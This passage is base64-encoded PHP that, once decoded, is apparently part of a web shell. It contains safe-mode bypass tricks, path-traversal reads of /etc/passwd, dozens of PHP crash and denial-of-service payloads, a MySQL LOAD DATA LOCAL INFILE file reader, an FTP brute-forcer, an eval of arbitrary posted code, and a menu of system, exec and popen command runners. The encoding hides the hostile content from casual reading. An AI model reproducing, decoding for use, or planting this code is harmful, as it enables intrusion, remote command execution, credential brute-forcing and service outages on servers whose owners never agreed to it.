cGgpOyAkeisrKXsNCiAgICAgIAkgICAgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGly LiIveyRjaGFyc19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19eyRjaGFy c19ybHBoWyR5XX17JGNoYXJzX3JscGhbJHpdfSIuJGVuZF9ybHBoKSl7ZWNobyAkcmVhbHBhdGguIlxy XG4iO30NCiAgICAgIAkgICAgICAgICAgICAgIGlmKCRuX3JscGg8PTUpe2NvbnRpbnVlO307DQogICAg ICAJICAgICAgICAgICAgICBmb3IoJHc9MDsgJHcgPCBzdHJsZW4oJGNoYXJzX3JscGgpOyAkdysrKXsN CiAgICAgIAkgICAgICAgICAgICAgICAgIGlmKCRyZWFscGF0aD1yZWFscGF0aCgkZGlyLiIveyRjaGFy c19ybHBoWyRpXX17JGNoYXJzX3JscGhbJGpdfXskY2hhcnNfcmxwaFskeF19eyRjaGFyc19ybHBoWyR5 XX17JGNoYXJzX3JscGhbJHpdfXskY2hhcnNfcmxwaFskd119Ii4kZW5kX3JscGgpKXtlY2hvICRyZWFs cGF0aC4iXHJcbiI7fQ0KICAgICAgCQkgICAgICB9DQogICAgICAJCSAgIH0NCiAgICAgIAkgICAgICAg ICB9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgfQ0KICAgICAgIGVjaG8gIlxy XG4gR2VuZXJhdGlvbiB0aW1lOiAiLnJvdW5kKEBnZXRtaWNyb3RpbWUoKS1zdGFydHRpbWUsNCkuIiBz ZWNcclxuIjsNCiBicmVhazsNCmNhc2UgJ3Rlc3QyMyc6DQogIEBzZXNzaW9uX3NhdmVfcGF0aCgkX1BP U1RbJ3Rlc3QyM19maWxlMiddLiJcMDskdGVtcGRpciIpOw0KICBAc2Vzc2lvbl9zdGFydCgpOw0KICBA JF9TRVNTSU9OW3BocF09JF9QT1NUWyd0ZXN0MjNfZmlsZTEnXTsNCiAgJGZpbGVuPSRfUE9TVFsndGVz dDIzX2ZpbGUyJ107DQogICAgaWYoZmlsZV9leGlzdHMoJGZpbGVuKSkNCiAgICBlY2hvICRsYW5nWyRs YW5ndWFnZS4nX3RleHQ2MSddLiIgICIuJGZpbGVuOw0KICAgIGVsc2UNCiAgZWNobyAiQ2FuJ3Qgd3Jp dGUgZmlsZSI7DQogIGJyZWFrOw0KY2FzZSAndGVzdDI0JzoNCkBwdXRlbnYoIlRNUERJUj0iLiRfUE9T VFsndGVzdDI0X2ZpbGUyJ10pOw0KICBAaW5pX3NldCgic2Vzc2lvbi5zYXZlX3BhdGgiLCAiIik7DQog IEBpbmlfYWx0ZXIoInNlc3Npb24uc2F2ZV9wYXRoIiwgIiIpOw0KICBAc2Vzc2lvbl9zdGFydCgpOw0K ICBAJF9TRVNTSU9OW3BocF09JF9QT1NUWyd0ZXN0MjRfZmlsZTEnXTsNCiAgJGZpbGVuPSRfUE9TVFsn dGVzdDI0X2ZpbGUyJ107DQogIGlmKGZpbGVfZXhpc3RzKCRmaWxlbikpDQogIGVjaG8gJGxhbmdbJGxh bmd1YWdlLidfdGV4dDYxJ10uIiAgIi4kZmlsZW47DQogIGVsc2UNCiAgZWNobyAiQ2FuJ3Qgd3JpdGUg ZmlsZSI7DQogIGJyZWFrOw0KY2FzZSAndGVzdDI1JzoNCiAgQHJlYWRmaWxlKCRfUE9TVFsndGVzdDI1 X2ZpbGUxJ10sIDMsICJwaHA6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLiRfUE9T VFsndGVzdDI0X2ZpbGUyJ10pOw0KICAkZmlsZW49JF9QT1NUWyd0ZXN0MjVfZmlsZTInXTsNCiAgaWYo ZmlsZV9leGlzdHMoJGZpbGVuKSkNCiAgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXTsNCiAg ZWxzZQ0KICBlY2hvICJDYW4ndCB3cml0ZSBmaWxlIjsNCiAgYnJlYWs7DQpicmVhazsNCg0KIH0NCn0N CmVsc2UgaWYoKCRfUE9TVFsnY21kJ10hPSJwaHBfZXZhbCIpJiYoJF9QT1NUWydjbWQnXSE9Im15c3Fs X2R1bXAiKSYmKCRfUE9TVFsnY21kJ10hPSJkYl9xdWVyeSIpJiYoJF9QT1NUWydjbWQnXSE9ImZ0cF9i cnV0ZSIpKXsNCiAkY21kX3JlcCA9IGV4KCRfUE9TVFsnY21kJ10pOw0KIGlmKCEkdW5peCkgeyBlY2hv IEBodG1sc3BlY2lhbGNoYXJzKEBjb252ZXJ0X2N5cl9zdHJpbmcoJGNtZF9yZXAsJ2QnLCd3JykpLiJc biI7IH0NCiBlbHNlIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkY21kX3JlcCkuIlxuIjsgfX0NCg0K IHN3aXRjaCgkX1BPU1RbJ2NtZCddKQ0KIHsNCiAgY2FzZSAnZG9zMSc6DQogIGZ1bmN0aW9uIGEoKSB7 IGEoKTsgfSBhKCk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MyJzoNCiAgQHBhY2soImQ0Mjk0OTY3Mjk3 IiwgMik7DQogIGJyZWFrOw0KICBjYXNlICdkb3MzJzoNCiAgJGEgPSAiYSI7QHVuc2VyaWFsaXplKEBz dHJfcmVwbGFjZSgnMScsIDIxNDc0ODM2NDcsIEBzZXJpYWxpemUoJGEpKSk7DQogIGJyZWFrOw0KICBj YXNlICdkb3M0JzoNCiAgJHQgPSBhcnJheSgxKTt3aGlsZSAoMSkgeyRhW10gPSAmJHQ7fTsNCiAgYnJl YWs7DQogIGNhc2UgJ2RvczUnOg0KICBAZGwoInNxbGl0ZS5zbyIpOyRkYiA9IG5ldyBTcWxpdGVEYXRh YmFzZSgiZm9vIik7DQogIGJyZWFrOw0KICBjYXNlICdkb3M2JzoNCiAgcHJlZ19tYXRjaCgnLyguKD8h

YikpKi8nLCBAc3RyX3JlcGVhdCgiYSIsIDEwMDAwKSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3M3JzoN CiAgQHN0cl9yZXBsYWNlKCJBIiwgc3RyX3JlcGVhdCgiQiIsIDY1NTM1KSwgc3RyX3JlcGVhdCgiQSIs IDY1NTM4KSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3M4JzoNCiAgQHNoZWxsX2V4ZWMoImtpbGxhbGwg LTExIGh0dHBkIik7DQogIGJyZWFrOw0KICBjYXNlICdkb3M5JzoNCiAgZnVuY3Rpb24gY3goKXsgQHRl bXBuYW0oIi93d3cvIiwgJy4uLy4uLy4uLy4uLy4uLy4uJy4kdGVtcGRpci4nY3gnKTsgY3goKTsgfSBj eCgpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTAnOg0KICAkYSA9IEBzdHJfcmVwZWF0ICgiQSIsNDM4 MDEzKTskYiA9IEBzdHJfcmVwZWF0ICgiQiIsOTUxMTQwKTtAd29yZHdyYXAgKCRhLDAsJGIsMCk7DQog IGJyZWFrOw0KICBjYXNlICdkb3MxMSc6DQogIEBhcnJheV9maWxsKDEsMTIzNDU2Nzg5LCJJbmZpZ28t SVMiKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczEyJzoNCiAgQHN1YnN0cl9jb21wYXJlKCJBIiwiQSIs MTIzNDU2NzgpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTMnOg0KICBAdW5zZXJpYWxpemUoImE6MjE0 NzQ4MzY0OTp7Iik7DQogIGJyZWFrOw0KICBjYXNlICdkb3MxNCc6DQogICREYXRhID0gQHN0cl9pcmVw bGFjZSgiXG4iLCAiPGJyPiIsICREYXRhKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczE1JzoNCiAgZnVu Y3Rpb24gdG9VVEYoJHgpIHtyZXR1cm4gY2hyKCgkeCA+PiA2KSArIDE5MikgLiBjaHIoKCR4ICYgNjMp ICsgMTI4KTt9DQogICRzdHIxID0gIiI7Zm9yKCRpPTA7ICRpIDwgNjQ7ICRpKyspeyAkc3RyMSAuPSB0 b1VURig5NzcpO30NCiAgQGh0bWxlbnRpdGllcygkc3RyMSwgRU5UX05PUVVPVEVTLCAiVVRGLTgiKTsN CiAgYnJlYWs7DQogIGNhc2UgJ2RvczE2JzoNCiAgJHIgPSBAemlwX29wZW4oInguemlwIik7JGUgPSBA emlwX3JlYWQoJHIpOyR4ID0gQHppcF9lbnRyeV9vcGVuKCRyLCAkZSk7DQogIGZvciAoJGk9MDsgJGk8 MTAwMDsgJGkrKykgJGFyclskaV09YXJyYXkoYXJyYXkoIiIpKTsNCiAgdW5zZXQoJGFycls2MDBdKTtA emlwX2VudHJ5X3JlYWQoJGUsIC0xKTt1bnNldCgkYXJyWzYwMV0pOw0KICBicmVhazsNCiAgY2FzZSAn ZG9zMTcnOg0KICAkeiA9ICJVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVSI7DQogICR5ID0gIkRERERERERERERERERERERE REREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREIjsN CiAgJHggPSAiQVEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAiOw0KICB1bnNldCgkeik7dW5zZXQoJHkpOyR4ID0gYmFzZTY0 X2RlY29kZSgkeCk7JHkgPSBAc3FsaXRlX3VkZl9kZWNvZGVfYmluYXJ5KCR4KTt1bnNldCgkeCk7DQog IGJyZWFrOw0KICBjYXNlICdkb3MxOCc6DQogICRNU0dLRVkgPSA1MTkwNTI7JG1zZ19pZCA9IEBtc2df Z2V0X3F1ZXVlICgkTVNHS0VZLCAwNjAwKTsNCiAgaWYgKCFAbXNnX3NlbmQgKCRtc2dfaWQsIDEsICdB QUFBQkJCQkNDQ0NERERERUVFRUZGRkZHR0dHSEhISCcsIGZhbHNlLCB0cnVlLCAkbXNnX2VycikpDQog IGVjaG8gIk1zZyBub3Qgc2VudCBiZWNhdXNlICRtc2dfZXJyXG4iOw0KICBpZiAoQG1zZ19yZWNlaXZl ICgkbXNnX2lkLCAxLCAkbXNnX3R5cGUsIDB4ZmZmZmZmZmYsICRfU0VTU0lPTiwgZmFsc2UsIDAsICRt c2dfZXJyb3IpKSB7DQogIGVjaG8gIiRtc2dcbiI7DQogIH0gZWxzZSB7IGVjaG8gIlJlY2VpdmVkICRt c2dfZXJyb3IgZmV0Y2hpbmcgbWVzc2FnZVxuIjsgYnJlYWs7IH0NCiAgQG1zZ19yZW1vdmVfcXVldWUg KCRtc2dfaWQpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMTknOg0KICAkdXJsID0gInBocDovL2ZpbHRl ci9yZWFkPU9GRl9CWV9PTkUuL3Jlc291cmNlPS9ldGMvcGFzc3dkIjsgQGZvcGVuKCR1cmwsICJyIik7 DQogIGJyZWFrOw0KICBjYXNlICdkb3MyMCc6DQogICRoYXNodGFibGUgPSBzdHJfcmVwZWF0KCJBIiwg MzkpOw0KICAkaGFzaHRhYmxlWzUqNCswXT1jaHIoMHg1OCk7JGhhc2h0YWJsZVs1KjQrMV09Y2hyKDB4 NDApOyRoYXNodGFibGVbNSo0KzJdPWNocigweDA2KTskaGFzaHRhYmxlWzUqNCszXT1jaHIoMHgwOCk7 DQogICRoYXNodGFibGVbOCo0KzBdPWNocigweDY2KTskaGFzaHRhYmxlWzgqNCsxXT1jaHIoMHg3Nyk7 JGhhc2h0YWJsZVs4KjQrMl09Y2hyKDB4ODgpOyRoYXNodGFibGVbOCo0KzNdPWNocigweDk5KTsNCiAg JHN0ciA9ICdhOjEwMDAwMDp7czo4OiJBQUFBQkJCQiI7YTozOntzOjEyOiIwMTIzNDU2Nzg5QUEiO2E6 MTp7czoxMjoiQUFBQUJCQkJDQ0NDIjtpOjA7fXM6MTI6IjAxMjM0NTY3OEFBQSI7aTowO3M6MTI6IjAx MjM0NTY3OEJBTiI7aTowO30nOw0KICBmb3IgKCRpPTA7ICRpPDY1NTM1OyAkaSsrKSB7ICRzdHIgLj0g J2k6MDtSOjI7JzsgfQ0KICAkc3RyIC49ICdzOjM5OiJYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY WFhYWFhYWFhYWFgiO3M6Mzk6IicuJGhhc2h0YWJsZS4nIjtpOjA7UjozOyc7DQogIEB1bnNlcmlhbGl6 ZSgkc3RyKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczIxJzoNCiAgaW1hZ2VjcmVhdGV0cnVlY29sb3Io MTIzNCwxMDczNzQxODI0KTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczIyJzoNCiAgaW1hZ2Vjb3B5cmVz aXplZChpbWFnZWNyZWF0ZXRydWVjb2xvcigweDdmZmZmZmZmLCAxMjApLGltYWdlY3JlYXRldHJ1ZWNv bG9yKDEyMCwgMTIwKSwgMCwgMCwgMCwgMCwgMHg3ZmZmZmZmZiwgMTIwLCAxMjAsIDEyMCk7DQogIGJy ZWFrOw0KICBjYXNlICdkb3MyMyc6DQogICRhID0gc3RyX3JlcGVhdCAoIkEiLDk5ODk3NzYpOyAkYiA9 IHN0cl9yZXBlYXQoIi8iLCAyNzk4MzQ5KTsgaWNvbnZfc3Vic3RyKCRhLDAsMSwkYik7DQogIGJyZWFr Ow0KICBjYXNlICdkb3MyNCc6DQogIHNldGxvY2FsZShMQ19DT0xMQVRFLCBzdHJfcmVwZWF0KCJBIiwg MzQ0MzgwMTMpKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczI1JzoNCiAgZ2xvYihzdHJfcmVwZWF0KCJB IiwgOTYzODAxMykpOw0KICBicmVhazsNCiAgY2FzZSAnZG9zMjYnOg0KICBnbG9iKCJhIiwtMSk7DQog IGJyZWFrOw0KICBjYXNlICdkb3MyNyc6DQogIGZubWF0Y2goIipbMV1lIiwgc3RyX3JlcGVhdCgiQSIs IDk2MzgwMTMpKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczI4JzoNCiAgaWYgKGV4dGVuc2lvbl9sb2Fk ZWQoImdkIikpeyAkYnVmZiA9IHN0cl9yZXBlYXQoIkEiLDk5OTkpOyAkcmVzID0gaW1hZ2Vwc2xvYWRm b250KCRidWZmKTsgZWNobyAiYm9vbSEhXG4iO30NCiAgYnJlYWs7DQogIGNhc2UgJ2RvczI5JzoNCiAg aWYoZnVuY3Rpb25fZXhpc3RzKCdtc3FsX2Nvbm5lY3QnKSl7IG1zcWxfcGNvbm5lY3Qoc3RyX3JlcGVh dCgnQScsNDk0MjQpLidCQkJCJyk7IG1zcWxfY29ubmVjdChzdHJfcmVwZWF0KCdBJyw0OTQyNCkuJ0JC QkInKTt9DQogIGJyZWFrOw0KICBjYXNlICdkb3MzMCc6DQogICRhPXN0cl9yZXBlYXQoIkEiLCA2NTUz

NSk7ICAkYj0xOyAgJGM9c3RyX3JlcGVhdCgiQSIsIDY1NTM1KTsgIGNodW5rX3NwbGl0KCRhLCRiLCRj KTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczMxJzoNCiAgaWYgKGV4dGVuc2lvbl9sb2FkZWQoIndpbjMy c3RkIikgKSB7IHdpbl9icm93c2VfZmlsZSggMSwgTlVMTCwgc3RyX3JlcGVhdCggIlx4OTAiLCAyNjQg KSwgTlVMTCwgYXJyYXkoICIqIiA9PiAiKi4qIiApICk7fQ0KICBicmVhazsNCiAgY2FzZSAnZG9zMzIn Og0KICBpZiAoZXh0ZW5zaW9uX2xvYWRlZCggImlpc2Z1bmMiICkgKXsgJGJ1Zl91bmljb2RlID0gc3Ry X3JlcGVhdCggIkEiLCAyNTYgKTsgJGVpcF91bmljb2RlID0gIlx4NDFceDQxIjsgaWlzX2dldHNlcnZp Y2VzdGF0ZSggJGJ1Zl91bmljb2RlIC4gJGVpcF91bmljb2RlICk7fQ0KICBicmVhazsNCiAgY2FzZSAn ZG9zMzMnOg0KICAkYnVmZiA9IHN0cl9yZXBlYXQoIlx4NDEiLCAyNTApOyRnZXRfRUlQID0gIlx4NDJc eDQyIjskZ2V0X0VTUCA9IHN0cl9yZXBlYXQoIlx4NDMiLCAxMDApOyRnZXRfRUJQID0gc3RyX3JlcGVh dCgiXHg0NCIsIDEwMCk7bnR1c2VyX2dldHVzZXJsaXN0KCRidWZmLiRnZXRfRUlQLiRnZXRfRVNQLiRn ZXRfRUJQKTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczM0JzoNCiAgaWYgKGV4dGVuc2lvbl9sb2FkZWQo ImJ6MiIpKXsgJGJ1ZmYgPSBzdHJfcmVwZWF0KCJhIiwxMDAwKTsgY29tX3ByaW50X3R5cGVpbmZvKCRi dWZmKTt9DQogIGJyZWFrOw0KICBjYXNlICdkb3MzNSc6DQogICRhID0gc3RyX3JlcGVhdCgiLyIsIDQx OTkwMDApOyBpY29udigxLCAkYSwgMSk7DQogIGJyZWFrOw0KICBjYXNlICdkb3MzNic6DQogICRhID0g c3RyX3JlcGVhdCgiLyIsIDI5OTEzNzApOyBpY29udl9taW1lX2RlY29kZV9oZWFkZXJzKDAsIDEsICRh KTsNCiAgYnJlYWs7DQogIGNhc2UgJ2RvczM3JzoNCiAgJGEgPSBzdHJfcmVwZWF0KCIvIiwgMzc5OTAw MCk7IGljb252X21pbWVfZGVjb2RlKDEsIDAsICRhKTsNCiBicmVhazsNCmJyZWFrOw0KIGNhc2UgJ2Rv czM4JzoNCiAkYSA9IHN0cl9yZXBlYXQoIi8iLCA5NzkxOTk5KTsgaWNvbnZfc3RybGVuKDEsICRhKTsN CiBicmVhazsNCn0NCmlmICgkX1BPU1RbJ2NtZCddPT0iQWx1Y2FyX215c3FsIikNCiB7DQogIGlmKGVt cHR5KCRfUE9TVFsndGVzdDNfc3InXSkpIHsgJF9QT1NUWyd0ZXN0M19zciddID0gImxvY2FsaG9zdCI7 IH0NCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0M19wb3J0J10pKSB7ICRfUE9TVFsndGVzdDNfcG9ydCdd ID0gIjMzMDYiOyB9DQogICRkYiA9IEBteXNxbF9jb25uZWN0KCRfUE9TVFsndGVzdDNfc3InXS4nOicu JF9QT1NUWyd0ZXN0M19wb3J0J10sJF9QT1NUWyd0ZXN0M19tbCddLCRfUE9TVFsndGVzdDNfbXAnXSk7 DQogIGlmKCRkYikNCiAgIHsNCiAgIGlmKEBteXNxbF9zZWxlY3RfZGIoJF9QT1NUWyd0ZXN0M19tZCdd LCRkYikpDQogICAgew0KICAgICBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIEFsdWNh ciIpOw0KICAgICBAbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgQWx1Y2FyYCAoIGBmaWxlYCBMT05H QkxPQiBOT1QgTlVMTCApIik7DQogICAgIEBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklM RSBcIiIuc3RyX3JlcGxhY2UoJ1xcJywnLycsJF9QT1NUWyd0ZXN0M19maWxlJ10pLiJcIiBJTlRPIFRB QkxFIEFsdWNhciBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1J TkFURUQgQlkgJ1xuJyIpOw0KICAgICAkciA9IEBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBBbHVj YXIiKTsNCiAgICAgd2hpbGUoKCRyX3NxbCA9IEBteXNxbF9mZXRjaF9hcnJheSgkcikpKSB7IGVjaG8g QGh0bWxzcGVjaWFsY2hhcnMoJHJfc3FsWzBdKTsgfQ0KICAgICBAbXlzcWxfcXVlcnkoIkRST1AgVEFC TEUgSUYgRVhJU1RTIEFsdWNhciIpOw0KICAgIH0NCiAgICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2Fu J3Qgc2VsZWN0IGRhdGFiYXNlIjsNCiAgIEBteXNxbF9jbG9zZSgkZGIpOw0KICAgfQ0KICBlbHNlIGVj aG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBteXNxbCBzZXJ2ZXIiOw0KIH0NCmlmICgkX1BP U1RbJ2NtZCddPT0iZnRwX2JydXRlIikNCiB7DQogJHN1YyA9IDA7DQogZm9yZWFjaCgkdXNlcnMgYXMg JHVzZXIpDQogIHsNCiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9w b3J0LDEwKTsNCiAgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlciwkdXNlcikpIHsgZWNobyAi WytdICR1c2VyOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0NCiAgZWxzZSBpZihpc3NldCgk X1BPU1RbJ3JldmVyc2UnXSkpIHsgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJyZXYo JHVzZXIpKSkgeyBlY2hvICJbK10gJHVzZXI6Ii5zdHJyZXYoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7 ICRzdWMrKzsgfSB9DQogIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICB9DQogZWNobyAiXHJcbi0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuIjsNCiAkY291bnQgPSBjb3VudCgk dXNlcnMpOw0KIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSkgeyAkY291bnQgKj0gMjsgfQ0KIGVj aG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsNCiBlY2hvICRsYW5nWyRs YW5ndWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOw0KIH0NCmlmICgkX1BPU1RbJ2NtZCddPT0icGhw X2V2YWwiKXsNCiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7 DQogJGV2YWwgPSBAc3RyX3JlcGxhY2UoIj8+IiwiIiwkZXZhbCk7DQogQGV2YWwoJGV2YWwpO30NCmlm ICgkX1BPU1RbJ2NtZCddPT0ibXlzcWxfZHVtcCIpDQogew0KICBpZihpc3NldCgkX1BPU1RbJ2RpZidd KSkgeyAkZnAgPSBAZm9wZW4oJF9QT1NUWydkaWZfbmFtZSddLCAidyIpOyB9DQogICRzcWwgPSBuZXcg bXlfc3FsKCk7DQogICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQogICRzcWwtPmhvc3QgPSAkX1BP U1RbJ2RiX3NlcnZlciddOw0KICAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogICRzcWwt PnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsNCiAgJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCdd Ow0KICAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICBpZighJHNxbC0+Y29ubmVjdCgp KSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyIjsgfQ0KICBlbHNl IGlmKCEkc3FsLT5zZWxlY3RfZGIoKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRh YmFzZSI7IH0NCiAgZWxzZSBpZighJHNxbC0+ZHVtcCgkX1BPU1RbJ215c3FsX3RibCddKSkgeyBlY2hv ICJbLV0gRVJST1IhIENhbid0IGNyZWF0ZSBkdW1wIjsgfQ0KICBlbHNlIHsNCiAgIGlmKGVtcHR5KCRf UE9TVFsnZGlmJ10pKSB7IGZvcmVhY2goJHNxbC0+ZHVtcCBhcyAkdikgZWNobyAkdi4iXHJcbiI7IH0N CiAgIGVsc2UgaWYoJGZwKXsgZm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KSBAZnB1dHMoJGZwLCR2LiJc

clxuIik7IH0NCiAgIGVsc2UgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IHdyaXRlIGluIGR1bXAgZmls ZSI7IH0NCiAgIH0NCiB9DQplY2hvICI8L3RleHRhcmVhPjwvZGl2PiI7DQplY2hvICI8L2I+IjsNCmVj aG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGlu Zz0wIGNlbGxzcGFjaW5nPTA+IjsNCmZ1bmN0aW9uIGRpdl90aXRsZSgkdGl0bGUsICRpZCkNCnsNCiAg cmV0dXJuICc8YSBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgb25DbGljaz0iY2hhbmdlX2RpdnN0KFwn Jy4kaWQuJ1wnKTsiPicuJHRpdGxlLic8L2E+JzsNCn0NCmZ1bmN0aW9uIGRpdigkaWQpDQogew0KIGlm KGlzc2V0KCRfQ09PS0lFWyRpZF0pICYmICRfQ09PS0lFWyRpZF09PTApIHJldHVybiAnPGRpdiBpZD0i Jy4kaWQuJyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4nOw0KIHJldHVybiAnPGRpdiBpZD0iJy4kaWQu JyI+JzsNCiB9DQppZighJHNhZmVfbW9kZSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgk bGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLCdpZDEnKS4kdGFibGVfdXAyLmRpdignaWQxJykuJHRzOw0K ZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4o J3RleHQnLCdjbWQnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3Rl eHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsODUsJGRpcikud3MoNCkuaW4oJ3N1Ym1p dCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7DQplY2hvICR0ZS4nPC9kaXY+ Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQplbHNlew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUo JGxhbmdbJGxhbmd1YWdlLidfdGV4dDI4J10sJ2lkMicpLiR0YWJsZV91cDIuZGl2KCdpZDInKS4kdHM7 DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+Iixp bigndGV4dCcsJ2RpcicsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2FmZV9kaXInKS53cyg0 KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ2J10pKTsNCmVjaG8g JHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0 bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwOCddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUn KS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4i PC9iPiIsIjxzZWxlY3QgbmFtZT1cIm1ldGhvZFwiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAg IDxvcHRpb24gdmFsdWU9XCJzeXN0ZW1cIiA8PyBpZiAoJG1ldGhvZD09XCJzeXN0ZW1cIikgeyBlY2hv IFwic2VsZWN0ZWRcIjsgfSA/PnN5c3RlbTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxvcHRpb24gdmFsdWU9XCJwYXNzdGhydVwiIDw/IGlmICgkbWV0aG9kPT1cInBhc3N0aHJ1XCIp IHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wYXNzdGhydTwvb3B0aW9uPg0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJleGVjXCIgPD8gaWYgKCRtZXRob2Q9PVwiZXhlY1wi KSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+ZXhlYzwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJzaGVsbF9leGVjXCIgPD8gaWYgKCRtZXRob2Q9PVwic2hl bGxfZXhlY1wiKSB7IGVjaG8gXCJzZWxlY3RlZFwiOyB9ID8+c2hlbGxfZXhlYzwvb3B0aW9uPg0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwb3BlblwiIDw/IGlmICgkbWV0 aG9kPT1cInBvcGVuXCIpIHsgZWNobyBcInNlbGVjdGVkXCI7IH0gPz5wb3Blbjwvb3B0aW9uPg0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9XCJwcm9jX29wZW5cIiA8PyBpZiAo JG1ldGhvZD09XCJwcm9jX29wZW5cIikgeyBlY2hvIFwic2VsZWN0ZWRcIjsgfSA/PnByb2Nfb3Blbjwv b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2Rpcics MCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIu 